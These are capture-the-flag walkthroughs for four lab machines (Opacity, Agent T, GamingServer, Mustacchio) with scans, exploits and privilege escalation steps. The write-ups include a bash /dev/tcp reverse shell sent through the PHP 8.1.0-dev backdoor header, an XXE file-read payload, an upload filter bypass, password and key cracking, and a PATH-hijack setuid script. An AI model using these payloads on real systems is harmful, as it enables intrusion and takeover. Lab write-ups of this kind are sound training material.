Opacity (Easy)

Opacity is a Boot2Root made for pentesters and cybersecurity enthusiasts.

Enumeration

Nmap

nmap -sC -sV -oN nmap-inital.txt $IP
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-10-22T07:50:10
|_  start_date: N/A
|_nbstat: NetBIOS name: OPACITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

From this we note that there is a login page, that the server is running PHP,
and that there is an SMB server running.

Lets start Gobuster to see if we can find anything else in the web server.

Gobuster

gobuster dir -w /opt/directory-list-2.3-medium.txt --url $IP
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 301) [Size: 310] [--> http://10.10.21.236/css/]
/cloud                (Status: 301) [Size: 312] [--> http://10.10.21.236/cloud/]

Login page doesn’t reveal anything interesting. Neither does /css. SMBMAP also doesn’t reveal anything.

/cloud directory reveals a “5 Minute Upload” PHP application with an “External URL” field.
Some quick testing shows that it will allow for RFI. Expecting PHP rev-shell upload.

Exploit

RFI allows for uploads from attack machine. Uploads are stored in /cloud/images/ and are displayed immediately
after upload. Page appears to filter for image extensions.

/cloud/images/php-reverse-shell.php.jpg – uploads
/cloud/images/php-reverse-shell.php – fails to upload

PHP null bytes to circumvent extension.

/cloud/images/php-reverse-shell.php#00 .jpg – uploads and executes script successfully to get reverse shell as www-data.

Enumeration v2

LinPEAS

LinPEAS reports vulnerable to CVE-2021-3560, but I don’t think that’s the objective of this machine.

Further in the output I found dataset.kdbx in /opt/ which appears to be a KeePass database, which I
download to the attack machine. John has a tool to crack the hash.

keepass2john dataset.kdbx > dataset.hash
john --wordlist=/opt/rockyou.txt dataset.hash
741852963        (dataset)

Using kpcli I can open the database.

kpcli --kdb=dataset.kdbx
Provide the master password: *************************
kpcli:/> ls
=== Groups ===
Root/
kpcli:/> cd Root
kpcli:/Root> ls
=== Entries ===
0. user:password                                                          
kpcli:/Root> show 0

Title: user:password
Uname: sysadmin
 Pass: Cl0udP4ss40p4city#8700
  URL: 
Notes: 

kpcli:/Root> xp 0
Copied password for "user:password" to the clipboard.
sysadmin:Cl0udP4ss40p4city#8700

local.txt

We are now able to SSH into the box as the sysadmin user.

cat local.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

PrivEsc

There is a script in the sysadmin home that is owned by root and executes a backup job and some deletions. It is not in our crontab, so I’m expecting it’s in root’s. It will be our obvious point of attack.
The script is not writable, but the lib directory is, and there is a backup.inc.php file that is included from that directory.
Simply uploading a reverse shell and moving it into the lib directory with the same name as backup.inc.php will overwrite it, even without write permissions on the file. Then start your listener and wait for the cron job to fire.

# cat proof.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Agent T (Easy)

Something seems a little off with the server.

Enumeration

Found only port 80 open with nmap scan.

Website jumps right to an admin portal, but 90% of the functionality is bogus.

I started a gobuster scan and it dies immediately for returning on directories that don’t exist. Did a bit of checking, and noticed that for directories that don’t exist, it returns the main admin portal, but for directories that DO exist, it returns a 404. I confirmed this by loading a CSS file from the css/ directory, and then getting a 404 for the css directory itself. Interestingly file behaviour is the opposite; when a file exists a 200 code is still sent, and a 404 when a file does not exist.

Modified the gobuster command to allow 404s and exclude the length associated with the admin portal while searching for directories, and ran a second gobuster looking for file extensions.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.70.119 --exclude-length="42131" -b 500

While poking around the site I noticed that the main page included the X-Powered-By: PHP/8.1.0-dev header. A quick Google search reveals an exploit for this version of PHP.

The inclusion of the header User-Agentt: zerodiumsystem('cmd'); will execute system commands.

Exploit

Using the User-Agentt exploit we are able to see that PHP is running as root (so stupid), and thus we can so basically anything we want already, including spawning reverse root-shells, which is exactly what I did.

User-Agentt: zerodiumsystem('bash -c "bash -i >& /dev/tcp/10.0.0.1/9999 0>&1"');

The flag is in /flag.txt


What is the flag?

flag{********************************}

GamingServer (Easy)

An Easy Boot2Root box for beginners.

Enumeration

As always, start with an nmap scan.

Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne

Website is some kind of gaming website. Found an uploads directory with a dict.lst file that was what appear to be some password options in it. Also found an html comment on the index.html page that gives a potential username:

<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->

Gobuster

A little gobuster to see if we can find anything special.

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.120.179
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 316] [--> http://10.10.120.179/uploads/]
/secret               (Status: 301) [Size: 315] [--> http://10.10.120.179/secret/]

The /secret/ path reveals a secretKey file which is an encrypted private key.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,82823EE792E75948EE2DE731AF1A0547

T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx
H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM
FznFI7jsxYFwPUqZtkz5sTcX1afch+IU5/Id4zTTsCO8qqs6qv5QkMXVGs77F2kS
Lafx0mJdcuu/5aR3NjNVtluKZyiXInskXiC01+Ynhkqjl4Iy7fEzn2qZnKKPVPv8
9zlECjERSysbUKYccnFknB1DwuJExD/erGRiLBYOGuMatc+EoagKkGpSZm4FtcIO
IrwxeyChI32vJs9W93PUqHMgCJGXEpY7/INMUQahDf3wnlVhBC10UWH9piIOupNN
SkjSbrIxOgWJhIcpE9BLVUE4ndAMi3t05MY1U0ko7/vvhzndeZcWhVJ3SdcIAx4g
/5D/YqcLtt/tKbLyuyggk23NzuspnbUwZWoo5fvg+jEgRud90s4dDWMEURGdB2Wt
w7uYJFhjijw8tw8WwaPHHQeYtHgrtwhmC/gLj1gxAq532QAgmXGoazXd3IeFRtGB
6+HLDl8VRDz1/4iZhafDC2gihKeWOjmLh83QqKwa4s1XIB6BKPZS/OgyM4RMnN3u
Zmv1rDPL+0yzt6A5BHENXfkNfFWRWQxvKtiGlSLmywPP5OHnv0mzb16QG0Es1FPl
xhVyHt/WKlaVZfTdrJneTn8Uu3vZ82MFf+evbdMPZMx9Xc3Ix7/hFeIxCdoMN4i6
8BoZFQBcoJaOufnLkTC0hHxN7T/t/QvcaIsWSFWdgwwnYFaJncHeEj7d1hnmsAii
b79Dfy384/lnjZMtX1NXIEghzQj5ga8TFnHe8umDNx5Cq5GpYN1BUtfWFYqtkGcn
vzLSJM07RAgqA+SPAY8lCnXe8gN+Nv/9+/+/uiefeFtOmrpDU2kRfr9JhZYx9TkL
wTqOP0XWjqufWNEIXXIpwXFctpZaEQcC40LpbBGTDiVWTQyx8AuI6YOfIt+k64fG
rtfjWPVv3yGOJmiqQOa8/pDGgtNPgnJmFFrBy2d37KzSoNpTlXmeT/drkeTaP6YW
RTz8Ieg+fmVtsgQelZQ44mhy0vE48o92Kxj3uAB6jZp8jxgACpcNBt3isg7H/dq6
oYiTtCJrL3IctTrEuBW8gE37UbSRqTuj9Foy+ynGmNPx5HQeC5aO/GoeSH0FelTk
cQKiDDxHq7mLMJZJO0oqdJfs6Jt/JO4gzdBh3Jt0gBoKnXMVY7P5u8da/4sV+kJE
99x7Dh8YXnj1As2gY+MMQHVuvCpnwRR7XLmK8Fj3TZU+WHK5P6W5fLK7u3MVt1eq
Ezf26lghbnEUn17KKu+VQ6EdIPL150HSks5V+2fC8JTQ1fl3rI9vowPPuC8aNj+Q
Qu5m65A5Urmr8Y01/Wjqn2wC7upxzt6hNBIMbcNrndZkg80feKZ8RD7wE7Exll2h
v3SBMMCT5ZrBFq54ia0ohThQ8hklPqYhdSebkQtU5HPYh+EL/vU1L9PfGv0zipst
gbLFOSPp+GmklnRpihaXaGYXsoKfXvAxGCVIhbaWLAp5AybIiXHyBWsbhbSRMK+P
-----END RSA PRIVATE KEY-----

Used JohnTheRipper to crack the private key password.

ssh2john secretKey > secretKey.hash
john --wordlist=/usr/share/wordlists/rockyou.txt secretKey.hash
# Using default input encoding: UTF-8
# Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
# Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
# Cost 2 (iteration count) is 1 for all loaded hashes
# Will run 4 OpenMP threads
# Press 'q' or Ctrl-C to abort, almost any other key for status
# letmein          (secretKey)     
# 1g 0:00:00:00 DONE (2024-04-09 23:20) 100.0g/s 51200p/s 51200c/s 51200C/s teiubesc..letmein
# Use the "--show" option to display all of the cracked passwords reliably
# Session completed.
openssl rsa -in secretKey -out secretKey.decrypted

Tried to login to ssh with the john user discovered earlier and the private key, and logged in successfully.


What is the user flag?

********************************

Uploaded and ran linpeas.sh, but nothing of real substance was revealed. The john user is a member of the sudo group, but the password is unknown so that’s not useful. I explored some options of messing with polkit, but it was a dead end.

The only other thing that jumped out to me was that john is also a member of the lxc group. It’s interesting that linpeas didn’t offer this up, but there is an interesting privesc via lxc that I found on (https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation)

I had to download the Alpine Linux image and build it on my local mahcine, and them upload the filesystem and machine file to the target. I was then able to load the machine, mount the root filesystem into a directory inside the machine, set it to privileged mode, and then run and execute a terminal inside the container.

From inside the container I made /mnt/root/bin/bash setuid and then exited the container and ran /bin/bash -p to become root.


What is the root flag?

********************************

Mustacchio (Easy)

.

Easy boot2root Machine.

Enumeration

As always, lets start with an nmap scan to see what services are live.

Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The website is just filler content. There is a form on the contact page, but it’s GET to contact.html, so there is no script running that I can exploit. Nothing obvious in the source or any page, and only basic JS and CSS for functionality.

Started a gobuster scan with directory-list-2.3-medium.txt, and decided to run an all-ports nmap to see if there are any other services running.

Nmap (All ports)

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8765/tcp open  ultraseek-http

Was really combing the website while those scans ran, and noted that directory listing was enabled in Apache. I was browsing through the /custom/js/ folder and found a file called users.bak.

file users.bak
users.bak: SQLite 3.x database, last written using SQLite version 3034001, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2

Opened with SQLite browser and there was a user and password credential.

admin:1868e36a6d2b17d4c2745f1659433a54d4bc5f4b

Put the hash in hashes.com and got the password.

1868e36a6d2b17d4c2745f1659433a54d4bc5f4b:bulldog19

The web service on port 8765 has a login page. Logged in with the admin:bulldog19 credentials and get a form to “Add a comment to the website”. Possibly some XSS vectors to explore.

Checking the page source reveals another possible credential:

//document.cookie = "Example=/auth/dontforget.bak";
<!-- Barry, you can now SSH in using your key!-->

At first I thought auth/dontforget.bak is a rabbit hole, but poking at the “Add a comment” form suggests that it accepts XML and a quick Google search on XML local file inclusions reveals an XXE LFI vector. The dontforget.bak file has the expected XML format for the comment, so I added the XXE data to include /etc/passwd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<comment>
  <name></name>
  <author></author>
  <com>&xxe;</com>
</comment>
joe:x:1002:1002::/home/joe:/bin/bash
barry:x:1003:1003::/home/barry:/bin/bash

Gven the earlier HTML comment about the SSH key for Barry, I wondered if there are insecure permissions on a private key, and got lucky; though the key is encrypted.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E

jqDJP+blUr+xMlASYB9t4gFyMl9VugHQJAylGZE6J/b1nG57eGYOM8wdZvVMGrfN
bNJVZXj6VluZMr9uEX8Y4vC2bt2KCBiFg224B61z4XJoiWQ35G/bXs1ZGxXoNIMU
MZdJ7DH1k226qQMtm4q96MZKEQ5ZFa032SohtfDPsoim/7dNapEOujRmw+ruBE65
l2f9wZCfDaEZvxCSyQFDJjBXm07mqfSJ3d59dwhrG9duruu1/alUUvI/jM8bOS2D
Wfyf3nkYXWyD4SPCSTKcy4U9YW26LG7KMFLcWcG0D3l6l1DwyeUBZmc8UAuQFH7E
NsNswVykkr3gswl2BMTqGz1bw/1gOdCj3Byc1LJ6mRWXfD3HSmWcc/8bHfdvVSgQ
ul7A8ROlzvri7/WHlcIA1SfcrFaUj8vfXi53fip9gBbLf6syOo0zDJ4Vvw3ycOie
TH6b6mGFexRiSaE/u3r54vZzL0KHgXtapzb4gDl/yQJo3wqD1FfY7AC12eUc9NdC
rcvG8XcDg+oBQokDnGVSnGmmvmPxIsVTT3027ykzwei3WVlagMBCOO/ekoYeNWlX
bhl1qTtQ6uC1kHjyTHUKNZVB78eDSankoERLyfcda49k/exHZYTmmKKcdjNQ+KNk
4cpvlG9Qp5Fh7uFCDWohE/qELpRKZ4/k6HiA4FS13D59JlvLCKQ6IwOfIRnstYB8
7+YoMkPWHvKjmS/vMX+elcZcvh47KNdNl4kQx65BSTmrUSK8GgGnqIJu2/G1fBk+
T+gWceS51WrxIJuimmjwuFD3S2XZaVXJSdK7ivD3E8KfWjgMx0zXFu4McnCfAWki
ahYmead6WiWHtM98G/hQ6K6yPDO7GDh7BZuMgpND/LbS+vpBPRzXotClXH6Q99I7
LIuQCN5hCb8ZHFD06A+F2aZNpg0G7FsyTwTnACtZLZ61GdxhNi+3tjOVDGQkPVUs
pkh9gqv5+mdZ6LVEqQ31eW2zdtCUfUu4WSzr+AndHPa2lqt90P+wH2iSd4bMSsxg
laXPXdcVJxmwTs+Kl56fRomKD9YdPtD4Uvyr53Ch7CiiJNsFJg4lY2s7WiAlxx9o
vpJLGMtpzhg8AXJFVAtwaRAFPxn54y1FITXX6tivk62yDRjPsXfzwbMNsvGFgvQK
DZkaeK+bBjXrmuqD4EB9K540RuO6d7kiwKNnTVgTspWlVCebMfLIi76SKtxLVpnF
6aak2iJkMIQ9I0bukDOLXMOAoEamlKJT5g+wZCC5aUI6cZG0Mv0XKbSX2DTmhyUF
ckQU/dcZcx9UXoIFhx7DesqroBTR6fEBlqsn7OPlSFj0lAHHCgIsxPawmlvSm3bs
7bdofhlZBjXYdIlZgBAqdq5jBJU8GtFcGyph9cb3f+C3nkmeDZJGRJwxUYeUS9Of
1dVkfWUhH2x9apWRV8pJM/ByDd0kNWa/c//MrGM0+DKkHoAZKfDl3sC0gdRB7kUQ
+Z87nFImxw95dxVvoZXZvoMSb7Ovf27AUhUeeU8ctWselKRmPw56+xhObBoAbRIn
7mxN/N5LlosTefJnlhdIhIDTDMsEwjACA+q686+bREd+drajgk6R9eKgSME7geVD
-----END RSA PRIVATE KEY-----

Cracked the key with john and rockyou.txt.

ssh2john barry_rsa > barry_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt barry_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
urieljames       (?)     
1g 0:00:00:01 DONE (2024-04-09 19:11) 0.6329g/s 1880Kp/s 1880Kc/s 1880KC/s urieljr.k..urielfabricio07
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

I saved a decrypted version of the key, and connected via SSH too get the user.txt file.

What is the user flag?

********************************

The barry user seems to be unable to run network commands so I couldn’t get linpeas onto the system. While poking around I found the joe user’s home directory readable, and an suid binary inside. The binary appears to read the nginx access log.

Running strings on the binary shows that it calls tail -f /var/log/nginx/access.log so I updated my PATH to include my current directory and made a script that changed /bin/bash to suid.

cat << EOF > /home/barry/tail
#!/bin/bash

chmod +s /bin/bash
EOF

chmod +x /home/barry/tail

PATH="/home/barry/:$PATH"

/home/joe/live_log

ls -l /bin/bash
# -rwsr-sr-x 1 root root 1037528 Jul 12  2019 /bin/bash

/bin/bash -p

I called the script “tail” so that the suid binary calls it instead of the actual tail binary. And I’m root.

What is the root flag?

********************************